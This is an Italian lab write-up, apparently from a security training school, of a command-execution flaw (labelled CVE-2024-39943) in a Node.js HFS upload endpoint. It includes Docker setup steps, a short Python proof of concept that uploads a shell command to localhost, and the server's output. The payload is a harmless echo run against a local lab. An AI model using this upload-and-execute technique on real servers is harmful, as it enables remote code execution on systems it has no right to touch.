Vulnerabilità di esecuzione dei comandi in Node.js HFS (CVE-2024-39943)

White Hat School 3ª edizione – 노정민 (@JenmrR)

Riepilogo

In un ambiente server HFS basato su Node.js esiste una vulnerabilità che esegue il contenuto dei file caricati tramite child_process.execSync().
Un attaccante può eseguire direttamente comandi del sistema operativo tramite la funzionalità di caricamento dei file e può verificare i risultati dei comandi interni del server o controllare il sistema.
Questa è la vulnerabilità corrispondente a CVE-2024-39943 e rappresenta una minaccia dello stesso livello dell'iniezione di comandi (Remote Code Execution).

Configurazione dell'ambiente ed esecuzione

1. Eseguire il server tramite ambiente Docker
2. Il server riceve i file caricati sul percorso /upload ed esegue il contenuto dei file caricati direttamente come comando
3. L'attaccante può ottenere RCE tramite il caricamento di file

Flusso di esecuzione

$ sudo docker-compose up --build -d

$ python3 poc.py

poc.py

import requests

payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }

r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)

Risultato

Risposta del server dopo l'esecuzione del PoC:

Executed:
Hello_From_Hacked_Server

Conclusioni

• Questa vulnerabilità è una tipica vulnerabilità RCE (Remote Command Execution) che si verifica quando l'input esterno viene eseguito come comando del sistema operativo.
• Eseguire direttamente il contenuto dei file caricati tramite execSync() comporta un grave rischio per la sicurezza.
• L'input dell'utente deve essere sempre convalidato e non deve essere eseguito direttamente all'interno del server.